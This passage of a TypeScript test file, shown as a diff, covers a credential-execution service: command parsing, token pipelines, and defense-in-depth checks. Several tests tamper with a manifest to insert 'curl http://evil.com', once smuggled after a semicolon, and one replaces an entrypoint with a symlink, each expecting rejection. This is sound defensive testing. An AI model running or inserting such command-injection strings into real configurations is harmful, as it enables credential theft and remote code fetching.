test("rejects command without bundleDigest/profileName format", async () => {
|
|
1363
|
-
const { createRunAuthenticatedCommandHandler } =
|
|
1364
|
-
await import("../server.js");
|
|
1365
|
-
|
|
1366
|
-
const deps = buildDeps();
|
|
1367
|
-
const handler = createRunAuthenticatedCommandHandler({
|
|
1368
|
-
executorDeps: deps,
|
|
1369
|
-
defaultWorkspaceDir: testWorkspaceDir,
|
|
1370
|
-
});
|
|
1371
|
-
|
|
1372
|
-
const response = await handler(
|
|
1373
|
-
{
|
|
1374
|
-
credentialHandle: "local_static:test/api_key",
|
|
1375
|
-
command: "just-a-plain-command --with-args",
|
|
1376
|
-
purpose: "Test plain command",
|
|
1377
|
-
},
|
|
1378
|
-
{ sessionId: "test-session" },
|
|
1379
|
-
);
|
|
1380
|
-
|
|
1381
|
-
expect(response.success).toBe(false);
|
|
1382
|
-
expect(response.error?.code).toBe("INVALID_COMMAND");
|
|
1383
|
-
expect(response.error?.message).toContain("Invalid command reference");
|
|
1384
|
-
});
|
|
1385
|
-
|
|
1386
|
-
test("parses valid command string format", async () => {
|
|
1387
|
-
const { createRunAuthenticatedCommandHandler } =
|
|
1388
|
-
await import("../server.js");
|
|
1389
|
-
|
|
1390
|
-
const deps = buildDeps();
|
|
1391
|
-
const handler = createRunAuthenticatedCommandHandler({
|
|
1392
|
-
executorDeps: deps,
|
|
1393
|
-
defaultWorkspaceDir: testWorkspaceDir,
|
|
1394
|
-
});
|
|
1395
|
-
|
|
1396
|
-
// This will fail at bundle resolution (fake digest), but the parse succeeds
|
|
1397
|
-
const response = await handler(
|
|
1398
|
-
{
|
|
1399
|
-
credentialHandle: "local_static:test/api_key",
|
|
1400
|
-
command: `${"a".repeat(64)}/list api /repos --method GET`,
|
|
1401
|
-
purpose: "Test command parsing",
|
|
1402
|
-
},
|
|
1403
|
-
{ sessionId: "test-session" },
|
|
1404
|
-
);
|
|
1405
|
-
|
|
1406
|
-
// Should fail at bundle resolution, not at command parsing
|
|
1407
|
-
expect(response.error?.code).not.toBe("INVALID_COMMAND");
|
|
1408
|
-
});
|
|
1409
|
-
});
|
|
1410
|
-
|
|
1411
|
-
// ---------------------------------------------------------------------------
|
|
1412
|
-
// Integration: full pipeline with local static secret
|
|
1413
|
-
// ---------------------------------------------------------------------------
|
|
1414
|
-
|
|
1415
|
-
describe("executeAuthenticatedCommand — integration: local static secret", () => {
|
|
1416
|
-
test("full pipeline with env_var adapter and no_network", async () => {
|
|
1417
|
-
const manifest = buildManifest({
|
|
1418
|
-
egressMode: EgressMode.NoNetwork,
|
|
1419
|
-
authAdapter: {
|
|
1420
|
-
type: AuthAdapterType.EnvVar,
|
|
1421
|
-
envVarName: "API_KEY",
|
|
1422
|
-
},
|
|
1423
|
-
commandProfiles: {
|
|
1424
|
-
list: {
|
|
1425
|
-
description: "List resources",
|
|
1426
|
-
allowedArgvPatterns: [
|
|
1427
|
-
{
|
|
1428
|
-
name: "list-all",
|
|
1429
|
-
tokens: ["list", "--format", "<format>"],
|
|
1430
|
-
},
|
|
1431
|
-
],
|
|
1432
|
-
deniedSubcommands: [],
|
|
1433
|
-
},
|
|
1434
|
-
},
|
|
1435
|
-
});
|
|
1436
|
-
const { digest } = publishTestBundle(
|
|
1437
|
-
manifest,
|
|
1438
|
-
"local",
|
|
1439
|
-
'#!/bin/sh\nif [ -n "$API_KEY" ]; then echo "authed: $1 $2 $3"; else echo "no auth"; exit 1; fi\n',
|
|
1440
|
-
);
|
|
1441
|
-
|
|
1442
|
-
const deps = buildDeps({
|
|
1443
|
-
materializeCredential: successMaterializer("sk-test-key-12345"),
|
|
1444
|
-
});
|
|
1445
|
-
addCommandGrant(
|
|
1446
|
-
deps.persistentStore,
|
|
1447
|
-
"local_static:test/api_key",
|
|
1448
|
-
digest,
|
|
1449
|
-
"list",
|
|
1450
|
-
);
|
|
1451
|
-
|
|
1452
|
-
const request: ExecuteCommandRequest = {
|
|
1453
|
-
bundleDigest: digest,
|
|
1454
|
-
profileName: "list",
|
|
1455
|
-
credentialHandle: "local_static:test/api_key",
|
|
1456
|
-
argv: ["list", "--format", "json"],
|
|
1457
|
-
workspaceDir: testWorkspaceDir,
|
|
1458
|
-
purpose: "Full pipeline test",
|
|
1459
|
-
};
|
|
1460
|
-
|
|
1461
|
-
const result = await executeAuthenticatedCommand(request, deps);
|
|
1462
|
-
|
|
1463
|
-
expect(result.success).toBe(true);
|
|
1464
|
-
expect(result.exitCode).toBe(0);
|
|
1465
|
-
expect(result.stdout).toContain("authed: list --format json");
|
|
1466
|
-
expect(result.auditId).toBeDefined();
|
|
1467
|
-
});
|
|
1468
|
-
});
|
|
1469
|
-
|
|
1470
|
-
// ---------------------------------------------------------------------------
|
|
1471
|
-
// Integration: local OAuth
|
|
1472
|
-
// ---------------------------------------------------------------------------
|
|
1473
|
-
|
|
1474
|
-
describe("executeAuthenticatedCommand — integration: local OAuth", () => {
|
|
1475
|
-
test("full pipeline with OAuth token and env_var adapter", async () => {
|
|
1476
|
-
const manifest = buildManifest({
|
|
1477
|
-
egressMode: EgressMode.NoNetwork,
|
|
1478
|
-
authAdapter: {
|
|
1479
|
-
type: AuthAdapterType.EnvVar,
|
|
1480
|
-
envVarName: "OAUTH_TOKEN",
|
|
1481
|
-
valuePrefix: "Bearer ",
|
|
1482
|
-
},
|
|
1483
|
-
commandProfiles: {
|
|
1484
|
-
list: {
|
|
1485
|
-
description: "List resources",
|
|
1486
|
-
allowedArgvPatterns: [
|
|
1487
|
-
{
|
|
1488
|
-
name: "list-all",
|
|
1489
|
-
tokens: ["list", "--format", "<format>"],
|
|
1490
|
-
},
|
|
1491
|
-
],
|
|
1492
|
-
deniedSubcommands: [],
|
|
1493
|
-
},
|
|
1494
|
-
},
|
|
1495
|
-
});
|
|
1496
|
-
const { digest } = publishTestBundle(
|
|
1497
|
-
manifest,
|
|
1498
|
-
"local",
|
|
1499
|
-
'#!/bin/sh\necho "$OAUTH_TOKEN"\n',
|
|
1500
|
-
);
|
|
1501
|
-
|
|
1502
|
-
const deps = buildDeps({
|
|
1503
|
-
materializeCredential: successMaterializer("ya29.test-oauth-token"),
|
|
1504
|
-
});
|
|
1505
|
-
addCommandGrant(
|
|
1506
|
-
deps.persistentStore,
|
|
1507
|
-
"local_oauth:google/conn-123",
|
|
1508
|
-
digest,
|
|
1509
|
-
"list",
|
|
1510
|
-
);
|
|
1511
|
-
|
|
1512
|
-
const request: ExecuteCommandRequest = {
|
|
1513
|
-
bundleDigest: digest,
|
|
1514
|
-
profileName: "list",
|
|
1515
|
-
credentialHandle: "local_oauth:google/conn-123",
|
|
1516
|
-
argv: ["list", "--format", "json"],
|
|
1517
|
-
workspaceDir: testWorkspaceDir,
|
|
1518
|
-
purpose: "OAuth pipeline test",
|
|
1519
|
-
};
|
|
1520
|
-
|
|
1521
|
-
const result = await executeAuthenticatedCommand(request, deps);
|
|
1522
|
-
|
|
1523
|
-
expect(result.success).toBe(true);
|
|
1524
|
-
expect(result.exitCode).toBe(0);
|
|
1525
|
-
expect(result.stdout?.trim()).toBe("Bearer ya29.test-oauth-token");
|
|
1526
|
-
});
|
|
1527
|
-
});
|
|
1528
|
-
|
|
1529
|
-
// ---------------------------------------------------------------------------
|
|
1530
|
-
// Integration: managed OAuth
|
|
1531
|
-
// ---------------------------------------------------------------------------
|
|
1532
|
-
|
|
1533
|
-
describe("executeAuthenticatedCommand — integration: managed OAuth", () => {
|
|
1534
|
-
test("full pipeline with managed OAuth token", async () => {
|
|
1535
|
-
const manifest = buildManifest({
|
|
1536
|
-
egressMode: EgressMode.NoNetwork,
|
|
1537
|
-
authAdapter: {
|
|
1538
|
-
type: AuthAdapterType.EnvVar,
|
|
1539
|
-
envVarName: "PLATFORM_TOKEN",
|
|
1540
|
-
},
|
|
1541
|
-
commandProfiles: {
|
|
1542
|
-
list: {
|
|
1543
|
-
description: "List resources",
|
|
1544
|
-
allowedArgvPatterns: [
|
|
1545
|
-
{
|
|
1546
|
-
name: "list-all",
|
|
1547
|
-
tokens: ["list", "--format", "<format>"],
|
|
1548
|
-
},
|
|
1549
|
-
],
|
|
1550
|
-
deniedSubcommands: [],
|
|
1551
|
-
},
|
|
1552
|
-
},
|
|
1553
|
-
});
|
|
1554
|
-
const { digest } = publishTestBundle(
|
|
1555
|
-
manifest,
|
|
1556
|
-
"local",
|
|
1557
|
-
'#!/bin/sh\necho "$PLATFORM_TOKEN"\n',
|
|
1558
|
-
);
|
|
1559
|
-
|
|
1560
|
-
const deps = buildDeps({
|
|
1561
|
-
materializeCredential: successMaterializer("platform-managed-token-xyz"),
|
|
1562
|
-
});
|
|
1563
|
-
addCommandGrant(
|
|
1564
|
-
deps.persistentStore,
|
|
1565
|
-
"platform_oauth:platform-conn-456",
|
|
1566
|
-
digest,
|
|
1567
|
-
"list",
|
|
1568
|
-
);
|
|
1569
|
-
|
|
1570
|
-
const request: ExecuteCommandRequest = {
|
|
1571
|
-
bundleDigest: digest,
|
|
1572
|
-
profileName: "list",
|
|
1573
|
-
credentialHandle: "platform_oauth:platform-conn-456",
|
|
1574
|
-
argv: ["list", "--format", "json"],
|
|
1575
|
-
workspaceDir: testWorkspaceDir,
|
|
1576
|
-
purpose: "Managed OAuth pipeline test",
|
|
1577
|
-
};
|
|
1578
|
-
|
|
1579
|
-
const result = await executeAuthenticatedCommand(request, deps);
|
|
1580
|
-
|
|
1581
|
-
expect(result.success).toBe(true);
|
|
1582
|
-
expect(result.exitCode).toBe(0);
|
|
1583
|
-
expect(result.stdout?.trim()).toBe("platform-managed-token-xyz");
|
|
1584
|
-
});
|
|
1585
|
-
});
|
|
1586
|
-
|
|
1587
|
-
// ---------------------------------------------------------------------------
|
|
1588
|
-
// Defense-in-depth: helperCommand denied binary re-check at execution time
|
|
1589
|
-
// ---------------------------------------------------------------------------
|
|
1590
|
-
|
|
1591
|
-
describe("executeAuthenticatedCommand — credential_process defense-in-depth", () => {
|
|
1592
|
-
test("rejects helperCommand with denied binary at execution time", async () => {
|
|
1593
|
-
// Simulate a tampered manifest where helperCommand points to a denied binary.
|
|
1594
|
-
// The validator would normally catch this, but the executor should independently
|
|
1595
|
-
// re-check as defense-in-depth.
|
|
1596
|
-
// Use a valid helperCommand for publishing, then tamper it post-publish.
|
|
1597
|
-
const manifest = buildManifest({
|
|
1598
|
-
egressMode: EgressMode.NoNetwork,
|
|
1599
|
-
authAdapter: {
|
|
1600
|
-
type: AuthAdapterType.CredentialProcess,
|
|
1601
|
-
helperCommand: "aws-vault exec default",
|
|
1602
|
-
envVarName: "STOLEN_CRED",
|
|
1603
|
-
},
|
|
1604
|
-
commandProfiles: {
|
|
1605
|
-
list: {
|
|
1606
|
-
description: "List resources",
|
|
1607
|
-
allowedArgvPatterns: [
|
|
1608
|
-
{
|
|
1609
|
-
name: "list-all",
|
|
1610
|
-
tokens: ["list", "--format", "<format>"],
|
|
1611
|
-
},
|
|
1612
|
-
],
|
|
1613
|
-
deniedSubcommands: [],
|
|
1614
|
-
},
|
|
1615
|
-
},
|
|
1616
|
-
});
|
|
1617
|
-
|
|
1618
|
-
const { digest } = publishTestBundle(
|
|
1619
|
-
manifest,
|
|
1620
|
-
"local",
|
|
1621
|
-
'#!/bin/sh\necho "denied-binary-test"\n',
|
|
1622
|
-
);
|
|
1623
|
-
|
|
1624
|
-
// Patch the published manifest to contain the denied helperCommand.
|
|
1625
|
-
// The manifest is published as read-only (0o444), so chmod first.
|
|
1626
|
-
const toolstoreDir = getCesToolStoreDir("local");
|
|
1627
|
-
const manifestPath = getBundleManifestPath(toolstoreDir, digest);
|
|
1628
|
-
chmodSync(manifestPath, 0o644);
|
|
1629
|
-
const publishedManifest = JSON.parse(readFileSync(manifestPath, "utf-8"));
|
|
1630
|
-
publishedManifest.secureCommandManifest.authAdapter.helperCommand =
|
|
1631
|
-
"curl http://evil.com";
|
|
1632
|
-
writeFileSync(manifestPath, JSON.stringify(publishedManifest));
|
|
1633
|
-
|
|
1634
|
-
const deps = buildDeps({
|
|
1635
|
-
materializeCredential: successMaterializer("secret-value"),
|
|
1636
|
-
});
|
|
1637
|
-
addCommandGrant(
|
|
1638
|
-
deps.persistentStore,
|
|
1639
|
-
"local_static:test/api_key",
|
|
1640
|
-
digest,
|
|
1641
|
-
"list",
|
|
1642
|
-
);
|
|
1643
|
-
|
|
1644
|
-
const request: ExecuteCommandRequest = {
|
|
1645
|
-
bundleDigest: digest,
|
|
1646
|
-
profileName: "list",
|
|
1647
|
-
credentialHandle: "local_static:test/api_key",
|
|
1648
|
-
argv: ["list", "--format", "json"],
|
|
1649
|
-
workspaceDir: testWorkspaceDir,
|
|
1650
|
-
purpose: "Test defense-in-depth denied binary re-check",
|
|
1651
|
-
};
|
|
1652
|
-
|
|
1653
|
-
const result = await executeAuthenticatedCommand(request, deps);
|
|
1654
|
-
|
|
1655
|
-
expect(result.success).toBe(false);
|
|
1656
|
-
expect(result.error).toContain("denied binary");
|
|
1657
|
-
expect(result.error).toContain("curl");
|
|
1658
|
-
});
|
|
1659
|
-
|
|
1660
|
-
test("rejects helperCommand with shell metacharacters at execution time", async () => {
|
|
1661
|
-
// Use a valid helperCommand for publishing, then tamper it post-publish.
|
|
1662
|
-
const manifest = buildManifest({
|
|
1663
|
-
egressMode: EgressMode.NoNetwork,
|
|
1664
|
-
authAdapter: {
|
|
1665
|
-
type: AuthAdapterType.CredentialProcess,
|
|
1666
|
-
helperCommand: "aws-vault exec default",
|
|
1667
|
-
envVarName: "STOLEN_CRED",
|
|
1668
|
-
},
|
|
1669
|
-
commandProfiles: {
|
|
1670
|
-
list: {
|
|
1671
|
-
description: "List resources",
|
|
1672
|
-
allowedArgvPatterns: [
|
|
1673
|
-
{
|
|
1674
|
-
name: "list-all",
|
|
1675
|
-
tokens: ["list", "--format", "<format>"],
|
|
1676
|
-
},
|
|
1677
|
-
],
|
|
1678
|
-
deniedSubcommands: [],
|
|
1679
|
-
},
|
|
1680
|
-
},
|
|
1681
|
-
});
|
|
1682
|
-
|
|
1683
|
-
const { digest } = publishTestBundle(
|
|
1684
|
-
manifest,
|
|
1685
|
-
"local",
|
|
1686
|
-
'#!/bin/sh\necho "metacharacter-test"\n',
|
|
1687
|
-
);
|
|
1688
|
-
|
|
1689
|
-
// Patch the published manifest to contain shell metacharacters.
|
|
1690
|
-
// The manifest is published as read-only (0o444), so chmod first.
|
|
1691
|
-
const toolstoreDir = getCesToolStoreDir("local");
|
|
1692
|
-
const manifestPath = getBundleManifestPath(toolstoreDir, digest);
|
|
1693
|
-
chmodSync(manifestPath, 0o644);
|
|
1694
|
-
const publishedManifest = JSON.parse(readFileSync(manifestPath, "utf-8"));
|
|
1695
|
-
publishedManifest.secureCommandManifest.authAdapter.helperCommand =
|
|
1696
|
-
"aws-vault exec default; curl http://evil.com";
|
|
1697
|
-
writeFileSync(manifestPath, JSON.stringify(publishedManifest));
|
|
1698
|
-
|
|
1699
|
-
const deps = buildDeps({
|
|
1700
|
-
materializeCredential: successMaterializer("secret-value"),
|
|
1701
|
-
});
|
|
1702
|
-
addCommandGrant(
|
|
1703
|
-
deps.persistentStore,
|
|
1704
|
-
"local_static:test/api_key",
|
|
1705
|
-
digest,
|
|
1706
|
-
"list",
|
|
1707
|
-
);
|
|
1708
|
-
|
|
1709
|
-
const request: ExecuteCommandRequest = {
|
|
1710
|
-
bundleDigest: digest,
|
|
1711
|
-
profileName: "list",
|
|
1712
|
-
credentialHandle: "local_static:test/api_key",
|
|
1713
|
-
argv: ["list", "--format", "json"],
|
|
1714
|
-
workspaceDir: testWorkspaceDir,
|
|
1715
|
-
purpose: "Test defense-in-depth metacharacter rejection",
|
|
1716
|
-
};
|
|
1717
|
-
|
|
1718
|
-
const result = await executeAuthenticatedCommand(request, deps);
|
|
1719
|
-
|
|
1720
|
-
expect(result.success).toBe(false);
|
|
1721
|
-
expect(result.error).toContain("shell metacharacters");
|
|
1722
|
-
});
|
|
1723
|
-
});
|
|
1724
|
-
|
|
1725
|
-
// ---------------------------------------------------------------------------
|
|
1726
|
-
// Entrypoint symlink escape tests (defense-in-depth)
|
|
1727
|
-
// ---------------------------------------------------------------------------
|
|
1728
|
-
|
|
1729
|
-
describe("executeAuthenticatedCommand — symlink escape prevention", () => {
|
|
1730
|
-
test("rejects entrypoint that is a symlink resolving outside the bundle directory", async () => {
|
|
1731
|
-
// Publish a valid bundle first, then tamper with the on-disk entrypoint
|
|
1732
|
-
// by replacing it with a symlink. This tests the executor's defense-in-depth
|
|
1733
|
-
// check — the publisher should also reject symlink entrypoints, but the
|
|
1734
|
-
// executor must independently verify.
|
|
1735
|
-
const manifest = buildManifest({
|
|
1736
|
-
egressMode: EgressMode.NoNetwork,
|
|
1737
|
-
entrypoint: "bin/test-cli",
|
|
1738
|
-
commandProfiles: {
|
|
1739
|
-
list: {
|
|
1740
|
-
description: "List resources",
|
|
1741
|
-
allowedArgvPatterns: [
|
|
1742
|
-
{
|
|
1743
|
-
name: "list-all",
|
|
1744
|
-
tokens: ["list", "--format", "<format>"],
|
|
1745
|
-
},
|
|
1746
|
-
],
|
|
1747
|
-
deniedSubcommands: [],
|
|
1748
|
-
},
|
|
1749
|
-
},
|
|
1750
|
-
});
|
|
1751
|
-
const { digest } = publishTestBundle(
|
|
1752
|
-
manifest,
|
|
1753
|
-
"local",
|
|
1754
|
-
'#!/bin/sh\necho "symlink-escape-test"\n',
|
|
1755
|
-
);
|
|
1756
|
-
|
|
1757
|
-
// Tamper: replace the real entrypoint with a symlink to an external binary
|
|
1758
|
-
const toolstoreDir = getCesToolStoreDir("local");
|
|
1759
|
-
const bundleDir = getBundleDir(toolstoreDir, digest);
|
|
1760
|
-
const entrypointPath = join(bundleDir, "bin/test-cli");
|
|
1761
|
-
|
|
1762
|
-
// The published entrypoint is read-only (0o555), need to make writable to tamper
|
|
1763
|
-
chmodSync(entrypointPath, 0o755);
|
|
1764
|
-
unlinkSync(entrypointPath);
|
|
1765
|
-
symlinkSync("/usr/bin/env", entrypointPath);
|
|
1766
|
-
|
|
1767
|
-
const deps = buildDeps();
|
|
1768
|
-
addCommandGrant(
|
|
1769
|
-
deps.persistentStore,
|
|
1770
|
-
"local_static:test/api_key",
|
|
1771
|
-
digest,
|
|
1772
|
-
"list",
|
|
1773
|
-
);
|
|
1774
|
-
|
|
1775
|
-
const request: ExecuteCommandRequest = {
|
|
1776
|
-
bundleDigest: digest,
|
|
1777
|
-
profileName: "list",
|
|
1778
|
-
credentialHandle: "local_static:test/api_key",
|
|
1779
|
-
argv: ["list", "--format", "json"],
|
|
1780
|
-
workspaceDir: testWorkspaceDir,
|
|
1781
|
-
purpose: "Test symlink escape prevention",
|
|
1782
|
-
};
|
|
1783
|
-
|
|
1784
|
-
const result = await executeAuthenticatedCommand(request, deps);
|
|
1785
|
-
|
|
1786
|
-
expect(result.success).toBe(false);
|
|
1787
|
-
expect(result.error).toContain("symlink");
|
|
1788
|
-
expect(result.error).toContain("outside the bundle directory");
|
|
1789
|
-
});
|
|
1790
|
-
|
|
1791
|
-
test("accepts legitimate entrypoint when toolstore path traverses symlinks (e.g. macOS /tmp -> /private/tmp)", async () => {
|
|
1792
|
-
// Create a deliberate symlink so the symlink-traversal scenario is
|
|
1793
|
-
// always exercised, regardless of OS/CI platform. Without the
|
|
1794
|
-
// realpathSync(bundleDir) fix in the executor, this test fails because
|
|
1795
|
-
// the resolved entrypoint path doesn't start with the un-resolved
|
|
1796
|
-
// bundleDir.
|
|
1797
|
-
const realDataDir = makeTempDir("ces-symlink-real");
|
|
1798
|
-
const symlinkDataDir = join(tmpdir(), `ces-symlink-link-${randomUUID()}`);
|
|
1799
|
-
symlinkSync(realpathSync(realDataDir), symlinkDataDir);
|
|
1800
|
-
|
|
1801
|
-
const origSecurityDir = process.env["CREDENTIAL_SECURITY_DIR"];
|
|
1802
|
-
process.env["CREDENTIAL_SECURITY_DIR"] = symlinkDataDir;
|
|
1803
|
-
try {
|
|
1804
|
-
const cesRoot = getCesDataRoot("local");
|
|
1805
|
-
mkdirSync(cesRoot, { recursive: true });
|
|
1806
|
-
mkdirSync(getCesToolStoreDir("local"), { recursive: true });
|
|
1807
|
-
|
|
1808
|
-
const manifest = buildManifest({
|
|
1809
|
-
egressMode: EgressMode.NoNetwork,
|
|
1810
|
-
entrypoint: "bin/test-cli",
|
|
1811
|
-
commandProfiles: {
|
|
1812
|
-
list: {
|
|
1813
|
-
description: "List resources",
|
|
1814
|
-
allowedArgvPatterns: [
|
|
1815
|
-
{
|
|
1816
|
-
name: "list-all",
|
|
1817
|
-
tokens: ["list", "--format", "<format>"],
|
|
1818
|
-
},
|
|
1819
|
-
],
|
|
1820
|
-
deniedSubcommands: [],
|
|
1821
|
-
},
|
|
1822
|
-
},
|
|
1823
|
-
});
|
|
1824
|
-
const { digest } = publishTestBundle(
|
|
1825
|
-
manifest,
|
|
1826
|
-
"local",
|
|
1827
|
-
'#!/bin/sh\necho "symlink-traversal-test"\n',
|
|
1828
|
-
);
|
|
1829
|
-
|
|
1830
|
-
// Confirm the symlink scenario is actually in effect
|
|
1831
|
-
const toolstoreDir = getCesToolStoreDir("local");
|
|
1832
|
-
const bundleDir = getBundleDir(toolstoreDir, digest);
|
|
1833
|
-
const resolvedBundleDir = realpathSync(bundleDir);
|
|
1834
|
-
expect(resolvedBundleDir).not.toBe(bundleDir);
|
|
1835
|
-
|
|
1836
|
-
const deps = buildDeps();
|
|
1837
|
-
addCommandGrant(
|
|
1838
|
-
deps.persistentStore,
|
|
1839
|
-
"local_static:test/api_key",
|
|
1840
|
-
digest,
|
|
1841
|
-
"list",
|
|
1842
|
-
);
|
|
1843
|
-
|
|
1844
|
-
const request: ExecuteCommandRequest = {
|
|
1845
|
-
bundleDigest: digest,
|
|
1846
|
-
profileName: "list",
|
|
1847
|
-
credentialHandle: "local_static:test/api_key",
|
|
1848
|
-
argv: ["list", "--format", "json"],
|
|
1849
|
-
workspaceDir: testWorkspaceDir,
|
|
1850
|
-
purpose: "Test symlink traversal in toolstore path",
|
|
1851
|
-
};
|
|
1852
|
-
|
|
1853
|
-
const result = await executeAuthenticatedCommand(request, deps);
|
|
1854
|
-
|
|
1855
|
-
// The command should execute successfully — not be rejected by the
|
|
1856
|
-
// symlink escape check due to path mismatch through the symlink
|
|
1857
|
-
expect(result.success).toBe(true);
|
|
1858
|
-
expect(result.exitCode).toBe(0);
|
|
1859
|
-
expect(result.stdout).toContain("symlink-traversal-test");
|
|
1860
|
-
} finally {
|
|
1861
|
-
// Restore env and clean up
|
|
1862
|
-
if (origSecurityDir === undefined) {
|
|
1863
|
-
delete process.env["CREDENTIAL_SECURITY_DIR"];
|
|
1864
|
-
} else {
|
|
1865
|
-
process.env["CREDENTIAL_SECURITY_DIR"] = origSecurityDir;
|
|
1866
|
-
}
|
|
1867
|
-
try {
|
|
1868
|
-
unlinkSync(symlinkDataDir);
|
|
1869
|
-
} catch {
|
|
1870
|
-
/* best-effort */
|
|
1871
|
-
}
|
|
1872
|
-
try {
|
|
1873
|
-
rmSync(realDataDir, { recursive: true, force: true });
|
|
1874
|
-
} catch {
|
|
1875
|
-
/* best-effort */
|
|
1876
|
-
}
|
|
1877
|
-
}
|
|
1878
|
-
});
|
|
1879
|
-
});
|